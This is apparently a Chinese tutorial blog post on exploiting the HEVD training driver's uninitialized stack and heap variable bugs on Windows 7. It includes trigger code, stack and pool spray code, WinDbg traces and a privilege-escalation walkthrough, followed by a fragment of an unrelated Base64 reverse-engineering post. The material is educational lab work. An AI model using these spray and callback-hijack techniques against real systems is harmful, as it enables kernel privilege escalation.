这是 Windows kernel exploit 系列的第六部分,前一篇我们讲了空指针解引用,这一篇我们讲内核未初始化栈利用,这篇虽然是内核栈的利用,与前面不同的是,这里需要引入一个新利用手法 => 栈喷射,需要你对内核栈和用户栈理解的比较深入,看此文章之前你需要有以下准备:

  • Windows 7 x86 sp1虚拟机
  • 配置好windbg等调试工具,建议配合VirtualKD使用
  • HEVD+OSR Loader配合构造漏洞环境

0x01:漏洞原理

未初始化栈变量

我们还是先用IDA分析HEVD.sys,找到相应的函数TriggerUninitializedStackVariable

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int __stdcall TriggerUninitializedStackVariable(void *UserBuffer)
{
int UserValue; // esi
_UNINITIALIZED_STACK_VARIABLE UninitializedStackVariable; // [esp+10h] [ebp-10Ch]
CPPEH_RECORD ms_exc; // [esp+104h] [ebp-18h]

ms_exc.registration.TryLevel = 0;
ProbeForRead(UserBuffer, 0xF0u, 4u);
UserValue = *(_DWORD *)UserBuffer;
DbgPrint("[+] UserValue: 0x%p\n", *(_DWORD *)UserBuffer);
DbgPrint("[+] UninitializedStackVariable Address: 0x%p\n", &UninitializedStackVariable);
if ( UserValue == 0xBAD0B0B0 )
{
UninitializedStackVariable.Value = 0xBAD0B0B0;
UninitializedStackVariable.Callback = (void (__stdcall *)())UninitializedStackVariableObjectCallback;
}
DbgPrint("[+] UninitializedStackVariable.Value: 0x%p\n", UninitializedStackVariable.Value);
DbgPrint("[+] UninitializedStackVariable.Callback: 0x%p\n", UninitializedStackVariable.Callback);
DbgPrint("[+] Triggering Uninitialized Stack Variable Vulnerability\n");
if ( UninitializedStackVariable.Callback )
UninitializedStackVariable.Callback();
return 0;
}

我们仔细分析一下,首先函数将一个值设为0,ms_exc原型如下,它其实就是一个异常处理机制(预示着下面肯定要出异常),然后我们还是将传入的UserBuffer和 0xBAD0B0B0 比较,如果相等的话就给UninitializedStackVariable函数的一些参数赋值,后面又判断了回调函数的存在性,最后调用回调函数,也就是说,我们传入的值不同的话可能就存在利用点,所以我们将聚焦点移到UninitializedStackVariable函数上

1
2
3
4
5
6
7
8
9
typedef struct CPPEH_RECORD      
{
DWORD old_esp; //ESP
DWORD exc_ptr; //GetExceptionInformation return value
DWORD prev_er; //prev _EXCEPTION_REGISTRATION_RECORD
DWORD handler; //Handler
DWORD msEH_ptr; //Scopetable
DWORD disabled; //TryLevel
}CPPEH_RECORD,*PCPPEH_RECORD;

我们来看一下源码里是如何介绍的,显而易见,一个初始化将UninitializedMemory置为了NULL,而另一个没有,要清楚的是我们现在看的是内核的漏洞,与用户模式并不相同,所以审计代码的时候要非常仔细

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#ifdef SECURE
//
// Secure Note: This is secure because the developer is properly initializing
// UNINITIALIZED_MEMORY_STACK to NULL and checks for NULL pointer before calling
// the callback
//

UNINITIALIZED_MEMORY_STACK UninitializedMemory = { 0 };
#else
//
// Vulnerability Note: This is a vanilla Uninitialized Memory in Stack vulnerability
// because the developer is not initializing 'UNINITIALIZED_MEMORY_STACK' structure
// before calling the callback when 'MagicValue' does not match 'UserValue'
//

UNINITIALIZED_MEMORY_STACK UninitializedMemory;

0x02:漏洞利用

控制码

我们还是从控制码入手,在HackSysExtremeVulnerableDriver.h中定位到相应的定义

1
#define HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK                    IOCTL(0x80B)

然后我们用python计算一下控制码

1
2
>>> hex((0x00000022 << 16) | (0x00000000 << 14) | (0x80b << 2) | 0x00000003)
'0x22202f'

我们验证一下我们的代码,我们先传入 buf = 0xBAD0B0B0 观察,构造如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#include<stdio.h>
#include<Windows.h>

HANDLE hDevice = NULL;

BOOL init()
{
// Get HANDLE
hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL);

printf("[+]Start to get HANDLE...\n");
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
{
return FALSE;
}
printf("[+]Success to get HANDLE!\n");
return TRUE;
}

VOID Trigger_shellcode()
{
DWORD bReturn = 0;
char buf[4] = { 0 };
*(PDWORD32)(buf) = 0xBAD0B0B0+1;

DeviceIoControl(hDevice, 0x22202f, buf, 4, NULL, 0, &bReturn, NULL);
}

int main()
{

if (init() == FALSE)
{
printf("[+]Failed to get HANDLE!!!\n");
system("pause");
return 0;
}

Trigger_shellcode();

return 0;
}

这里我们打印的信息如下,可以看到对UninitializedStackVariable的一些对象进行了正确的赋值

1
2
3
4
5
6
7
8
****** HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE ******
[+] UserValue: 0xBAD0B0B0
[+] UninitializedStackVariable Address: 0x8E99B9C8
[+] UninitializedStackVariable.Value: 0xBAD0B0B0
[+] UninitializedStackVariable.Callback: 0x8D6A3EE8
[+] Triggering Uninitialized Stack Variable Vulnerability
[+] Uninitialized Stack Variable Object Callback
****** HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE ******

我们尝试传入不同的值

1
2
3
4
5
6
7
8
VOID Trigger_shellcode()
{
DWORD bReturn = 0;
char buf[4] = { 0 };
*(PDWORD32)(buf) = 0xBAD0B0B0+1;

DeviceIoControl(hDevice, 0x22202f, buf, 4, NULL, 0, &bReturn, NULL);
}

运行效果如下,因为有异常处理机制,所以这里并不会蓝屏

1
2
3
4
5
6
7
8
0: kd> g
****** HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE ******
[+] UserValue: 0xBAD0B0B1
[+] UninitializedStackVariable Address: 0x97E789C8
[+] UninitializedStackVariable.Value: 0x00000002
[+] UninitializedStackVariable.Callback: 0x00000000
[+] Triggering Uninitialized Stack Variable Vulnerability
****** HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE ******

我们在HEVD!TriggerUninitializedStackVariable+0x8c比较处下断点运行查看

1
2
3
4
5
6
7
8
9
10
11
1: kd> u 8D6A3F86
HEVD!TriggerUninitializedStackVariable+0x8c [c:\hacksysextremevulnerabledriver\driver\uninitializedstackvariable.c @ 119]:
8d6a3f86 39bdf8feffff cmp dword ptr [ebp-108h],edi
8d6a3f8c 7429 je HEVD!TriggerUninitializedStackVariable+0xbd (8d6a3fb7)
8d6a3f8e ff95f8feffff call dword ptr [ebp-108h]
8d6a3f94 eb21 jmp HEVD!TriggerUninitializedStackVariable+0xbd (8d6a3fb7)
8d6a3f96 8b45ec mov eax,dword ptr [ebp-14h]
8d6a3f99 8b00 mov eax,dword ptr [eax]
8d6a3f9b 8b00 mov eax,dword ptr [eax]
8d6a3f9d 8945e4 mov dword ptr [ebp-1Ch],eax
1: kd> ba e1 8D6A3F86

我们断下来之后用dps esp可以看到我们的 Value 和 Callback ,单步几次观察,可以发现确实已经被SEH异常处理所接手

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
****** HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE ******
[+] UserValue: 0xBAD0B0B1
[+] UninitializedStackVariable Address: 0x8FB049C8
[+] UninitializedStackVariable.Value: 0x00000002
[+] UninitializedStackVariable.Callback: 0x00000000
[+] Triggering Uninitialized Stack Variable Vulnerability
Breakpoint 0 hit
HEVD!TriggerUninitializedStackVariable+0x8c:
8d6a3f86 39bdf8feffff cmp dword ptr [ebp-108h],edi
3: kd> dps esp
8fb049b8 02da71d7
8fb049bc 88b88460
8fb049c0 88b884d0
8fb049c4 8d6a4ca4 HEVD! ?? ::NNGAKEGL::`string'
8fb049c8 00000002 => UninitializedStackVariable.Value
8fb049cc 00000000 => UninitializedStackVariable.Callback
8fb049d0 8684e1b8
8fb049d4 00000002
8fb049d8 8fb049e8
8fb049dc 84218ba9 hal!KfLowerIrql+0x61
8fb049e0 00000000
8fb049e4 00000000
8fb049e8 8fb04a20
8fb049ec 83e7f68b nt!KiSwapThread+0x254
8fb049f0 8684e1b8
8fb049f4 83f2ff08 nt!KiInitialPCR+0x3308
8fb049f8 83f2cd20 nt!KiInitialPCR+0x120
8fb049fc 00000001
8fb04a00 00000000
8fb04a04 8684e1b8
8fb04a08 8684e1b8
8fb04a0c 00000f8e
8fb04a10 c0802000
8fb04a14 8fb04a40
8fb04a18 83e66654 nt!MiUpdateWsle+0x231
8fb04a1c 7606a001
8fb04a20 00000322
8fb04a24 00000129
8fb04a28 00000129
8fb04a2c 86c08220
8fb04a30 00000000
8fb04a34 8670f1b8
3: kd> p
HEVD!TriggerUninitializedStackVariable+0xbd:
8d6a3fb7 c745fcfeffffff mov dword ptr [ebp-4],0FFFFFFFEh
3: kd> p
HEVD!TriggerUninitializedStackVariable+0xc4:
8d6a3fbe 8bc7 mov eax,edi
3: kd> p
HEVD!TriggerUninitializedStackVariable+0xc6:
8d6a3fc0 e894c0ffff call HEVD!__SEH_epilog4 (8d6a0059)

栈喷射(Stack Spray)

因为程序中会调用回调函数,所以我们希望的是把回调函数设置为我们shellcode的位置,其实如果这里不对回调函数进行验证是否为0,我们可以考虑直接在0页构造我们的shellcode,但是这里对回调函数进行了限制,就需要换一种思路

1
2
3
4
5
6
7
8
9
10
#endif

//
// Call the callback function
//

if (UninitializedMemory.Callback)
{
UninitializedMemory.Callback();
}

我们需要把回调函数的位置修改成不为0的地址,并且地址指向的是我们的shellcode,这里就需要用到一个新的方法,栈喷射,j00ru师傅的文章很详细的讲解了这个机制,我简单解释一下,我们始终是在用户模式干扰内核模式,首先你需要了解内核栈和用户栈的结构,然后了解下面这个函数是如何进行栈喷射的,函数原型如下

1
2
3
4
5
6
7
8
9
10
#define COPY_STACK_SIZE             1024

NTSTATUS
NtMapUserPhysicalPages (
__in PVOID VirtualAddress,
__in ULONG_PTR NumberOfPages,
__in_ecount_opt(NumberOfPages) PULONG_PTR UserPfnArray
)
(...)
ULONG_PTR StackArray[COPY_STACK_SIZE];

因为COPY_STACK_SIZE的大小是1024,函数的栈最大也就 4096byte ,所以我们只需要传 1024 * 4 = 4096 的大小就可以占满一页内存了,当然我们传的都是我们的shellcode的位置

1
2
3
4
5
6
7
8
9
10
11
PDWORD StackSpray = (PDWORD)malloc(1024 * 4);
memset(StackSpray, 0x41, 1024 * 4);

printf("[+]Spray address is 0x%p\n", StackSpray);

for (int i = 0; i < 1024; i++)
{
*(PDWORD)(StackSpray + i) = (DWORD)& ShellCode;
}

NtMapUserPhysicalPages(NULL, 0x400, StackSpray);

我们来看看我们完整的exp的运行情况,我们还是在刚才的地方下断点,可以清楚的看到我们的shellcode已经被喷上去了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
0: kd> ba e1 8D6A3F86
0: kd> g
****** HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE ******
[+] UserValue: 0xBAD0B0B1
[+] UninitializedStackVariable Address: 0x92E2F9C8
[+] UninitializedStackVariable.Value: 0x00931040
[+] UninitializedStackVariable.Callback: 0x00931040
[+] Triggering Uninitialized Stack Variable Vulnerability
Breakpoint 0 hit
8d6a3f86 39bdf8feffff cmp dword ptr [ebp-108h],edi
2: kd> dd 0x92E2F9C8
92e2f9c8 00931040 00931040 00931040 00931040
92e2f9d8 00931040 00931040 00931040 00931040
92e2f9e8 00931040 00931040 00931040 00931040
92e2f9f8 00931040 00931040 00931040 00931040
92e2fa08 00931040 00931040 c0802000 92e2fa40
92e2fa18 83e66654 7606a001 00000322 000000da
92e2fa28 000000da 866cc220 00000000 00931040
92e2fa38 00000005 c0802d08 92e2fa74 83e656cc
2: kd> u 00931040
00931040 53 push ebx
00931041 56 push esi
00931042 57 push edi
00931043 60 pushad
00931044 64a124010000 mov eax,dword ptr fs:[00000124h]
0093104a 8b4050 mov eax,dword ptr [eax+50h]
0093104d 8bc8 mov ecx,eax
0093104f ba04000000 mov edx,4

最后我们整合一下代码就可以提权了,总结一下步骤

  • 初始化句柄等结构
  • 将我们准备喷射的栈用Shellcode填满
  • 调用NtMapUserPhysicalPages进行喷射
  • 调用TriggerUninitializedStackVariable函数触发漏洞
  • 调用cmd提权

提权效果如下,详细的代码参考这里

test

0x09:Uninitialized-HeapVariable

这是 Windows kernel exploit 系列的最后一篇,如果你按顺序观看我之前文章并且自己调过的话,应该对各种漏洞类型在Windows 7 下的利用比较熟悉了,其他的话我放在最后说把,现在进入我所谓的最后一个专题,未初始化的堆变量利用,看此文章之前你需要有以下准备:

  • Windows 7 x86 sp1虚拟机
  • 配置好windbg等调试工具,建议配合VirtualKD使用
  • HEVD+OSR Loader配合构造漏洞环境

0x01:漏洞原理

未初始化堆变量

我们还是先用IDA分析HEVD.sys,找到相应的函数TriggerUninitializedHeapVariable,这里首先还是初始化了异常处理机制,验证我们传入的UserBuffer是否在 user mode ,然后申请了一块分页池,将我们的UserBuffer给了UserValue,判断是否等于 0xBAD0B0B0 ,如果相等则给回调函数之类的赋值,如果不相等则直接调用回调函数,根据前一篇的经验,这里肯定是修改回调函数为我们shellcode的位置,最后调用提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
int __stdcall TriggerUninitializedHeapVariable(void *UserBuffer)
{
int result; // eax
int UserValue; // esi
_UNINITIALIZED_HEAP_VARIABLE *UninitializedHeapVariable; // [esp+18h] [ebp-1Ch]
CPPEH_RECORD ms_exc; // [esp+1Ch] [ebp-18h]

ms_exc.registration.TryLevel = 0;
ProbeForRead(UserBuffer, 0xF0u, 4u);
UninitializedHeapVariable = (_UNINITIALIZED_HEAP_VARIABLE *)ExAllocatePoolWithTag(PagedPool, 0xF0u, 0x6B636148u);
if ( UninitializedHeapVariable )
{
DbgPrint("[+] Pool Tag: %s\n", "'kcaH'");
DbgPrint("[+] Pool Type: %s\n", "PagedPool");
DbgPrint("[+] Pool Size: 0x%X\n", 0xF0);
DbgPrint("[+] Pool Chunk: 0x%p\n", UninitializedHeapVariable);
UserValue = *(_DWORD *)UserBuffer;
DbgPrint("[+] UserValue: 0x%p\n", *(_DWORD *)UserBuffer);
DbgPrint("[+] UninitializedHeapVariable Address: 0x%p\n", &UninitializedHeapVariable);
if ( UserValue == 0xBAD0B0B0 )
{
UninitializedHeapVariable->Value = 0xBAD0B0B0;
UninitializedHeapVariable->Callback = (void (__stdcall *)())UninitializedHeapVariableObjectCallback;
memset(UninitializedHeapVariable->Buffer, 0x41, 0xE8u);
UninitializedHeapVariable->Buffer[0x39] = 0;
}
DbgPrint("[+] Triggering Uninitialized Heap Variable Vulnerability\n");
if ( UninitializedHeapVariable )
{
DbgPrint("[+] UninitializedHeapVariable->Value: 0x%p\n", UninitializedHeapVariable->Value);
DbgPrint("[+] UninitializedHeapVariable->Callback: 0x%p\n", UninitializedHeapVariable->Callback);
UninitializedHeapVariable->Callback();
}
result = 0;
}
else
{
DbgPrint("[-] Unable to allocate Pool chunk\n");
ms_exc.registration.TryLevel = 0xFFFFFFFE;
result = 0xC0000017;
}
return result;
}

我们查看一下源码文件是如何说明的,安全的方案先检查了是否存在空指针,然后将UninitializedMemory置为NULL,最后安全的调用了回调函数,而不安全的方案则在不确定 Value 和 Callback 的情况下直接调用了回调函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#ifdef SECURE
else {
DbgPrint("[+] Freeing UninitializedMemory Object\n");
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Chunk: 0x%p\n", UninitializedMemory);

//
// Free the allocated Pool chunk
//

ExFreePoolWithTag((PVOID)UninitializedMemory, (ULONG)POOL_TAG);

//
// Secure Note: This is secure because the developer is setting 'UninitializedMemory'
// to NULL and checks for NULL pointer before calling the callback
//

//
// Set to NULL to avoid dangling pointer
//

UninitializedMemory = NULL;
}
#else
//
// Vulnerability Note: This is a vanilla Uninitialized Heap Variable vulnerability
// because the developer is not setting 'Value' & 'Callback' to definite known value
// before calling the 'Callback'
//

DbgPrint("[+] Triggering Uninitialized Memory in PagedPool\n");
#endif

//
// Call the callback function
//

if (UninitializedMemory)
{
DbgPrint("[+] UninitializedMemory->Value: 0x%p\n", UninitializedMemory->Value);
DbgPrint("[+] UninitializedMemory->Callback: 0x%p\n", UninitializedMemory->Callback);

UninitializedMemory->Callback();
}
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}

漏洞的原理我们很清楚了,现在就是如何构造和利用的问题了,如果你没有看过我之前的文章,建议看完这里之后去看看池溢出那一篇,最好是读一下文章中所提到的Tarjei Mandt 写的 Kernel Pool Exploitation on Windows 7,对Windows 7 内核池有一个比较好的认识

0x02:漏洞利用

控制码

我们还是从控制码入手,在HackSysExtremeVulnerableDriver.h中定位到相应的定义

1
#define HEVD_IOCTL_UNINITIALIZED_MEMORY_PAGED_POOL               IOCTL(0x80C)

然后我们用python计算一下控制码

1
2
>>> hex((0x00000022 << 16) | (0x00000000 << 14) | (0x80c << 2) | 0x00000003)
'0x222033'

我们验证一下我们的代码,我们先传入 buf = 0xBAD0B0B0 观察,构造如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#include<stdio.h>
#include<Windows.h>

HANDLE hDevice = NULL;

BOOL init()
{
// Get HANDLE
hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL);

printf("[+]Start to get HANDLE...\n");
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
{
return FALSE;
}
printf("[+]Success to get HANDLE!\n");
return TRUE;
}

VOID Trigger_shellcode()
{
DWORD bReturn = 0;
char buf[4] = { 0 };
*(PDWORD32)(buf) = 0xBAD0B0B0;

DeviceIoControl(hDevice, 0x222033, buf, 4, NULL, 0, &bReturn, NULL);
}

int main()
{

if (init() == FALSE)
{
printf("[+]Failed to get HANDLE!!!\n");
system("pause");
return 0;
}

Trigger_shellcode();
//__debugbreak();

system("pause");

return 0;
}

这里我们打印的信息如下,如我们所愿,并没有异常发生

1
2
3
4
5
6
7
8
9
10
11
12
13
3: kd> g
****** HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE ******
[+] Pool Tag: 'kcaH'
[+] Pool Type: PagedPool
[+] Pool Size: 0xF0
[+] Pool Chunk: 0x9A7FFF10
[+] UserValue: 0xBAD0B0B0
[+] UninitializedHeapVariable Address: 0x97EF4AB8
[+] Triggering Uninitialized Heap Variable Vulnerability
[+] UninitializedHeapVariable->Value: 0xBAD0B0B0
[+] UninitializedHeapVariable->Callback: 0x8D6A3D58
[+] Uninitialized Heap Variable Object Callback
****** HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE ******

我们尝试传入不同的值观察是否有异常发生

1
2
3
4
5
6
7
8
VOID Trigger_shellcode()
{
DWORD bReturn = 0;
char buf[4] = { 0 };
*(PDWORD32)(buf) = 0xBAD0B0B0+1;

DeviceIoControl(hDevice, 0x222033, buf, 4, NULL, 0, &bReturn, NULL);
}

我们在调用运行效果如下,这里被异常处理所接受,这里我们Callback有一个值,我们查看之后发现是一个无效地址,我们希望的当然是指向我们的shellcode,所以就需要想办法构造了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
****** HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE ******
[+] Pool Tag: 'kcaH'
[+] Pool Type: PagedPool
[+] Pool Size: 0xF0
[+] Pool Chunk: 0x9A03C430
[+] UserValue: 0xBAD0B0B1
[+] UninitializedHeapVariable Address: 0x8E99BAB8
[+] Triggering Uninitialized Heap Variable Vulnerability
[+] UninitializedHeapVariable->Value: 0x00000000
[+] UninitializedHeapVariable->Callback: 0xDD1CB39C
Breakpoint 0 hit
8d6a3e83 ff5004 call dword ptr [eax+4]
0: kd> dd 0xDD1CB39C
dd1cb39c ???????? ???????? ???????? ????????
dd1cb3ac ???????? ???????? ???????? ????????
dd1cb3bc ???????? ???????? ???????? ????????
dd1cb3cc ???????? ???????? ???????? ????????
dd1cb3dc ???????? ???????? ???????? ????????
dd1cb3ec ???????? ???????? ???????? ????????
dd1cb3fc ???????? ???????? ???????? ????????
dd1cb40c ???????? ???????? ???????? ????????

构造堆结构

现在我们已经有了思路,还是把Callback指向shellcode,既然上一篇类似的问题能够栈喷射,那这里我们自然想到了堆喷射,回想我们在池溢出里堆喷射所用的函数CreateEventA,这里我们多研究一下这个函数,要知道我们这里是分页池而不是非分页池,如果你用池溢出那一段申请很多Event对象的代码的话,是看不到一个Event对象存在分页池里面的(并且会蓝屏),但是函数中的lpName这个参数就比较神奇了,它是分配在分页池里面的,并且是我们可以操控的

1
2
3
4
5
6
HANDLE CreateEventA(
LPSECURITY_ATTRIBUTES lpEventAttributes,
BOOL bManualReset,
BOOL bInitialState,
LPCSTR lpName
);

为了更好的理解这里的利用,让我们复习一下 Windows 7 下的Lookaside Lists快表结构,并且我们知道最大块大小是0x20,最多有256个块(前置知识来自Tarjei Mandt的Kernel Pool Exploitation on Windows 7文章),这里要清楚的是我们是在修改快表的结构,因为申请池一开始是调用的快表,如果快表不合适才会去调用空表(ListHeads)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
typedef struct _GENERAL_LOOKASIDE_POOL 
{
union{
/*0x000*/union _SLIST_HEADER ListHead;
/*0x000*/struct _SINGLE_LIST_ENTRY SingleListHead;
};
/*0x008*/ UINT16Depth;
/*0x00A*/ UINT16MaximumDepth;
/*0x00C*/ ULONG32TotalAllocates;
union{
/*0x010*/ULONG32 AllocateMisses;
/*0x010*/ULONG32 AllocateHits;
};
/*0x014*/ ULONG32 TotalFrees;
union{
/*0x018*/ULONG32 FreeMisses;
/*0x018*/ULONG32 FreeHits;
};
/*0x01C*/enum _POOL_TYPE Type;
/*0x020*/ULONG32 Tag;
/*0x024*/ULONG32 Size;
union{
/*0x028*/PVOID AllocateEx;
/*0x028*/PVOID Allocate;
};
union{
/*0x02C*/ PVOID FreeEx;
/*0x02C*/ PVOIDFree;
};
/*0x030*/ struct _LIST_ENTRY ListEntry;
/*0x038*/ ULONG32 LastTotalAllocates;
union{
/*0x03C*/ULONG32 LastAllocateMisses;
/*0x03C*/ULONG32 LastAllocateHits;
};
/*0x040*/ ULONG32 Future [2];
} GENERAL_LOOKASIDE_POOL, *PGENERAL_LOOKASIDE_POOL;

我们还需要知道的是,我们申请的每一个结构中的lpName还不能一样,不然两个池在后面就相当于一个在运作,又因为pool size为0xf0,加上header就是0xf8,所以我们这里考虑将lpName大小设为0xf0,因为源码中我们的堆结构如下:

1
2
3
4
5
typedef struct _UNINITIALIZED_HEAP_VARIABLE {
ULONG_PTR Value;
FunctionPointer Callback;
ULONG_PTR Buffer[58];
} UNINITIALIZED_HEAP_VARIABLE, *PUNINITIALIZED_HEAP_VARIABLE;

我们可以确定回调函数在 +0x4 的位置,放入我们的shellcode之后我们在利用循环中的 i 设置不同的 lpname 就行啦

1
2
3
4
5
6
7
8
9
for (int i = 0; i < 256; i++)
{
*(PDWORD)(lpName + 0x4) = (DWORD)& ShellCode;
*(PDWORD)(lpName + 0xf0 - 4) = 0;
*(PDWORD)(lpName + 0xf0 - 3) = 0;
*(PDWORD)(lpName + 0xf0 - 2) = 0;
*(PDWORD)(lpName + 0xf0 - 1) = i;
Event_OBJECT[i] = CreateEventW(NULL, FALSE, FALSE, lpName);
}

最后我们整合一下代码就可以提权了,总结一下步骤

  • 初始化句柄等结构
  • 构造 lpName 结构
  • 调用CreateEventW进行喷射
  • 调用TriggerUninitializedHeapVariable函数触发漏洞
  • 调用cmd提权

提权的过程中你可以参考下面几个地方查看相应的位置是否正确

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
0: kd> g
****** HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE ******
[+] Pool Tag: 'kcaH'
[+] Pool Type: PagedPool
[+] Pool Size: 0xF0
[+] Pool Chunk: 0x909FE380
[+] UserValue: 0xBAD0B0B1
[+] UninitializedHeapVariable Address: 0x97E80AB8
[+] Triggering Uninitialized Heap Variable Vulnerability
[+] UninitializedHeapVariable->Value: 0x00000000
[+] UninitializedHeapVariable->Callback: 0x00371040
Breakpoint 0 hit
8d6a3e83 ff5004 call dword ptr [eax+4]
1: kd> !pool 0x909FE380 // 查看池布局
unable to get nt!ExpHeapBackedPoolEnabledState
Pool page 909fe380 region is Paged pool
909fe000 size: 1e0 previous size: 0 (Free) AlSe
909fe1e0 size: 28 previous size: 1e0 (Allocated) MmSm
909fe208 size: 80 previous size: 28 (Free) NtFU
909fe288 size: 18 previous size: 80 (Allocated) Ntf0
909fe2a0 size: 18 previous size: 18 (Free) CMVI
909fe2b8 size: a8 previous size: 18 (Allocated) CIcr
909fe360 size: 18 previous size: a8 (Allocated) PfFK
*909fe378 size: f8 previous size: 18 (Allocated) *Hack
Owning component : Unknown (update pooltag.txt)
909fe470 size: 1d8 previous size: f8 (Allocated) FMfn
909fe648 size: 4d0 previous size: 1d8 (Allocated) CIcr
909feb18 size: 4e8 previous size: 4d0 (Allocated) CIcr
1: kd> dd 909fe470-8 // 查看下一个池
909fe468 41414141 000e0000 063b021f 6e664d46
909fe478 01d0f204 00000000 0000032e 00000000
909fe488 909fe488 00000000 00000000 87ac918c
909fe498 00000000 00000000 00018000 00000040
909fe4a8 00000001 0160015e 909fe4e8 002e002e
909fe4b8 909fe4e8 00000000 00000000 00000000
909fe4c8 00000000 00000000 00000000 00000000
909fe4d8 00000000 00000000 00000000 00000002
1: kd> u 0x00371040 // 查看shellcode位置是否正确
00371040 53 push ebx
00371041 56 push esi
00371042 57 push edi
00371043 60 pushad
00371044 64a124010000 mov eax,dword ptr fs:[00000124h]
0037104a 8b4050 mov eax,dword ptr [eax+50h]
0037104d 8bc8 mov ecx,eax
0037104f ba04000000 mov edx,4

提权效果如下,详细的代码参考这里

test

0x10:后记

本系列文章首发于先知社区,为了方便自己查阅,这篇是我重新整理之后的文章

参考链接

  1. https://rootkits.xyz/blog/2018/04/kernel-use-after-free/

  2. https://redogwu.github.io/2018/11/02/windows-kernel-exploit-part-1/

  3. https://media.blackhat.com/bh-dc-11/Mandt/BlackHat_DC_2011_Mandt_kernelpool-wp.pdf

  4. https://www.cnblogs.com/kuangke/p/5818839.html

  5. https://www.cnblogs.com/flycat-2016/p/5449738.html

  6. https://rootkits.xyz/blog/2017/11/kernel-pool-overflow/

]]>
<h1 id="环境搭建"><a href="#环境搭建" class="headerlink" title="环境搭建"></a>环境搭建</h1><h2 id="0x00:前言"><a href="#0x00:前言" class="headerlink" title="0x0
Reverse Cryptography https://thunderjie.github.io/2019/05/21/Reverse Cryptography/ 2019-05-21T06:40:55.000Z 2020-02-09T03:56:21.061Z 0x00:Introduction

本片文章主要逆向一些CTF中的常见算法,对算法的原理和实现结合进行分析,总结一些常用的方法以供参考

0x01:Base series

0x01:Base64

介绍

Base64可以将ASCII字符串或者是二进制编码成只包含A—Z,a—z,0—9,+,/ 这64个字符( 26个大写字母,26个小写字母,10个数字,1个+,一个 / 刚好64个字符)。这64个字符用6个bit位就可以全部表示出来,一个字节有8个bit 位,那么还剩下两个bit位,这两个bit位用0来补充。其实,一个Base64字符仍然是8个bit位,但是有效部分只有右边的6个 bit,左边两个永远是0。Base64的编码规则是将3个8位字节(3×8=24位)编码成4个6位的字节(4×6=24位),之后在每个6位字节前面,补充两个0,形成4个8位字节的形式,那么取值范围就变成了0~63。又因为2的6次方等于64,所以每6个位组成一个单元。一般在CTF逆向题目中base64的加密过程主要是用自定义的索引表,所以如果能一眼能看出是base64加密就会节约很多时间。

加密过程

  • base64的编码都是按字符串长度,以每3个8bit的字符为一组,
  • 然后针对每组,首先获取每个字符的ASCII编码,
  • 然后将ASCII编码转换成8bit的二进制,得到一组3*8=24bit的字节
  • 然后再将这24bit划分为4个6bit的字节,并在每个6bit的字节前面都填两个高位0,得到4个8bit的字节
  • 然后将这4个8bit的字节转换成10进制,对照Base64编码表 ,得到对应编码后的字符。

索引表如下

索引对应字符索引对应字符索引对应字符索引对应字符
0A17R34i51z
1B18S35j520
2C19T36k531
3D20U37l542
4E21V38m553
5F22W39n564
6G23X40o575
7H24Y41p586
8I25Z42q597
9J26a43r608
10K27b44s619
11L28c45t62+
12M29d46u63/
13N30e47v
14O31f48w
15P32g49x
16Q33h50y

例子

第一个例子以base64加密SLF为例子,过程如下

1
2
3
4
5
6
7
8
9
10
字符串      S       L        F
ASCII 83 80 76
二进制 01010011‬ 01001100 01000110
合并 01010011‬0100110001000110
6位 010100 110100 110001 000110
补零 00010100 00110100 00110001 00000110
进制 20 52 49 6
对照 U 0 x G

SLF -> U0xG

第二个例子以base64加密M为例子,过程如下

1
2
3
4
5
6
7
8
9
10
字符串      M
ASCII 77
二进进 01001101
合并 01001101
